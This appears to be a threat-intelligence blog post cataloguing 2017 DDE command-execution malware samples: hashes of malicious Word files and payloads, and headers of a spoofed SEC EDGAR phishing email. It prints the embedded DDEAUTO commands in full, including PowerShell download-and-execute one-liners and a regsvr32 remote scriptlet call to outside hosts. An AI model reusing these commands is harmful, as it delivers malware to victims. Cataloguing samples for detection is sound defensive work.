miércoles, 15 de abril de 2020

DDE Command Execution Malware Samples






Here are a few samples related to the recent DDE Command execution






Reading:
10/18/2017 InQuest/yara-rules 
10/18/2017 https://twitter.com/i/moments/918126999738175489 


Download


File information
List of available files:
Word documents:
bf38288956449bb120bae525b6632f0294d25593da8938bbe79849d6defed5cb
a1294fce91af3f7e7691f8307d07aebd4636402e4e6a244faac5ac9b36f8428
b68b3f98f78b42ac83e356ad61a4d234fe620217b250b5521587be49958d568
9d67659a41ef45219ac64967b7284dbfc435ee2df1fccf0ba9c7464f03fdc862
7777ccbaaafe4e50f800e659b7ca9bfa58ee7eefe6e4f5e47bc3b38f84e52280
313fc5bd8e1109d35200081e62b7aa33197a6700fc390385929e71aabbc4e065
9fa8f8ccc29c59070c7aac94985f518b67880587ff3bbfabf195a3117853984d
8630169ab9b4587382d4b9a6d17fd1033d69416996093b6c1a2ecca6b0c04184
11a6422ab6da62d7aad4f39bed0580db9409f9606e4fa80890a76c7eabfb1c13
bd61559c7dcae0edef672ea922ea5cf15496d18cc8c1cbebee9533295c2d2ea9

Payload 
8c5209671c9d4f0928f1ae253c40ce7515d220186bb4a97cbaf6c25bd3be53cf
2330bf6bf6b5efa346792553d3666c7bc290c98799871f5ff4e7d44d2ab3b28c
316f0552684bd09310fc8a004991c9b7ac200fb2a9a0d34e59b8bbd30b6dc8ea
5d3b34c963002bd46848f5fe4e8b5801da045e821143a9f257cb747c29e4046f
fe72a6b6da83c779787b2102d0e2cfd45323ceab274924ff617eb623437c2669 


File details with MD5 hashes:
Word documents:
1. bf38288956449bb120bae525b6632f0294d25593da8938bbe79849d6defed5cb EDGAR_Rules.docx
bcadcf65bcf8940fff6fc776dd56563 ( DDEAUTO c:\\windows\\system32\\cmd.exe "/k powershell -C ;echo \"https://sec.gov/\";IEX((new-object net.webclient).downloadstring('https://pastebin.com/raw/pxSE2TJ1')) ")

2. 1a1294fce91af3f7e7691f8307d07aebd4636402e4e6a244faac5ac9b36f8428 EDGAR_Rules_2017.docx
 2c0cfdc5b5653cb3e8b0f8eeef55fc32 ( DDEAUTO c:\\windows\\system32\\cmd.exe "/k powershell -C ;echo \"https://sec.gov/\";IEX((new-object net.webclient).downloadstring('https://trt.doe.louisiana.gov/fonts.txt')) ")

3 4b68b3f98f78b42ac83e356ad61a4d234fe620217b250b5521587be49958d568 SBNG20171010.docx
8be9633d5023699746936a2b073d2d67 (DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://104.131.178.222/s.ps1');powershell -Command $e. 

4. 9d67659a41ef45219ac64967b7284dbfc435ee2df1fccf0ba9c7464f03fdc862 Plantilla - InformesFINAL.docx
78f07a1860ae99c093cc80d31b8bef14 ( DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe $e=new-object -com internetexplorer.application; $e.visible=$true; $e.navigate2(' https://i.ytimg.com/vi/ErLLFVf-0Mw/maxresdefault.jpg '); powershell -e $e " 

5. 7777ccbaaafe4e50f800e659b7ca9bfa58ee7eefe6e4f5e47bc3b38f84e52280 
 aee33500f28791f91c278abb3fcdd942 (DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://www.filefactory.com/file/2vxfgfitjqrf/Citibk_MT103_Ref71943.exe');powershell -e_

6. 313fc5bd8e1109d35200081e62b7aa33197a6700fc390385929e71aabbc4e065 Giveaway.docx
507784c0796ffebaef7c6fc53f321cd6 (DDEAUTO "C:\\Programs\\Microsoft\\Office\\MSWord.exe\\..\\..\\..\\..\\windows\\system32\\cmd.exe" "/c regsvr32 /u /n /s /i:\"h\"t\"t\"p://downloads.sixflags-frightfest.com/ticket-ids scrobj.dll" "For Security Reasons")


7. 9fa8f8ccc29c59070c7aac94985f518b67880587ff3bbfabf195a3117853984d  Filings_and_Forms.docx
47111e9854db533c328ddbe6e962602a (DDEAUTO "C:\\Programs\\Microsoft\\Office\\MSWord.exe\\..\\..\\..\\..\\windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe -NoP -sta -NonI -W Hidden -C $e=(new-object system.net.webclient).downloadstring('http://goo.gl/Gqdihn');powershell.exe -e $e # " "Filings_and_Forms.docx")

8. 8630169ab9b4587382d4b9a6d17fd1033d69416996093b6c1a2ecca6b0c04184 ~WRD0000.tmp
47111e9854db533c328ddbe6e962602a


9. 11a6422ab6da62d7aad4f39bed0580db9409f9606e4fa80890a76c7eabfb1c13 ~WRD0003.tmp
d78ae3b9650328524c3150bef2224460


10. bd61559c7dcae0edef672ea922ea5cf15496d18cc8c1cbebee9533295c2d2ea9 DanePrzesylki17016.doc
5786dbcbe1959b2978e979bf1c5cb450


Payload Powershell

1. 8c5209671c9d4f0928f1ae253c40ce7515d220186bb4a97cbaf6c25bd3be53cf fonts.txt

2 2330bf6bf6b5efa346792553d3666c7bc290c98799871f5ff4e7d44d2ab3b28c - powershell script from hxxp://citycarpark.my/components/com_admintools/mscorier

Payload PE

1. 316f0552684bd09310fc8a004991c9b7ac200fb2a9a0d34e59b8bbd30b6dc8ea Citibk_MT103_Ref71943.exe
3a4d0c6957d8727c0612c37f27480f1e

2. 5d3b34c963002bd46848f5fe4e8b5801da045e821143a9f257cb747c29e4046f FreddieMacPayload
 4f3a6e16950b92bf9bd4efe8bbff9a1e

3. fe72a6b6da83c779787b2102d0e2cfd45323ceab274924ff617eb623437c2669 s50.exe  Poland payload
09d71f068d2bbca9fac090bde74e762b








Message information


For the EDGAR campaign
bf38288956449bb120bae525b6632f0294d25593da8938bbe79849d6defed5cb

 Received: from usa2.serverhoshbilling.com (usa2.serverhoshbilling.com [209.90.232.236])
by m0049925.ppops.net with ESMTP id 2dhb488ej6-1
(version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NOT)
for <snip>; Wed, 11 Oct 2017 00:09:20 -0400
Received: from salesapo by usa2.serverhoshbilling.com with local (Exim 4.89)
(envelope-from <EDGAR@sec.gov>)
id 1e28HE-0001S5-Ew
for <snip>; Wed, 11 Oct 2017 00:05:48 -0400
To: <snip>
Subject: EDGAR Filings
X-PHP-Script: roofingexperts.org/wp-content/themes/sp/examples/send_edgar_corps.php for 89.106.109.106, 162.158.90.75
X-PHP-Originating-Script: 658:class.phpmailer.php
Date: Wed, 11 Oct 2017 04:05:48 +0000
From: EDGAR <EDGAR@sec.gov>
Reply-To: EDGAR <EDGAR@sec.gov>
Message-ID: <7608a3de5fe6c9bf7df6782a8aa9790f@roofingexperts.org>
X-Mailer: PHPMailer 5.2.22 (https://github.com/PHPMailer/PHPMailer)
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boundary="b1_7608a3de5fe6c9bf7df6782a8aa9790f"
Content-Transfer-Encoding: 8bit
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - usa2.serverhoshbilling.com
X-AntiAbuse: Original Domain - nu.com
X-AntiAbuse: Originator/Caller UID/GID - [658 497] / [47 12]
X-AntiAbuse: Sender Address Domain - sec.gov
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X-Authenticated-Sender: usa2.serverhoshbilling.com: salesapo
X-Source: /opt/cpanel/ea-php56/root/usr/bin/lsphp
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X-CLX-Shades: Junk
X-CLX-Response: <snip>
X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10432:,, definitions=2017-10-10_08:,,
 signatures=0
X-Proofpoint-Spam-Details: rule=spam policy=default score=99 priorityscore=1501 malwarescore=0
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 adjust=0 reason=mlx scancount=1 engine=8.0.1-1707230000
 definitions=main-1710110060

This is a multi-part message in MIME format.

--b1_7608a3de5fe6c9bf7df6782a8aa9790f
Content-Type: multipart/alternative;
boundary="b2_7608a3de5fe6c9bf7df6782a8aa9790f"

--b2_7608a3de5fe6c9bf7df6782a8aa9790f
Content-Type: text/plain; charset=us-ascii

Important information about last changes in EDGAR Filings


--b2_7608a3de5fe6c9bf7df6782a8aa9790f
Content-Type: text/html; charset=us-ascii

<b>Important information about last changes in EDGAR Filings</b><br/><br/>Attached document is directed to <snip>



--b2_7608a3de5fe6c9bf7df6782a8aa9790f--

--b1_7608a3de5fe6c9bf7df6782a8aa9790f
Content-Type: application/vnd.openxmlformats-officedocument.wordprocessingml.document; name="EDGAR_Rules_2017.docx"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename=EDGAR_Rules_2017.docx

<snip>


--b1_7608a3de5fe6c9bf7df6782a8aa9790f--


for 4b68b3f98f78b42ac83e356ad61a4d234fe620217b250b5521587be49958d568 SBNG20171010.docx

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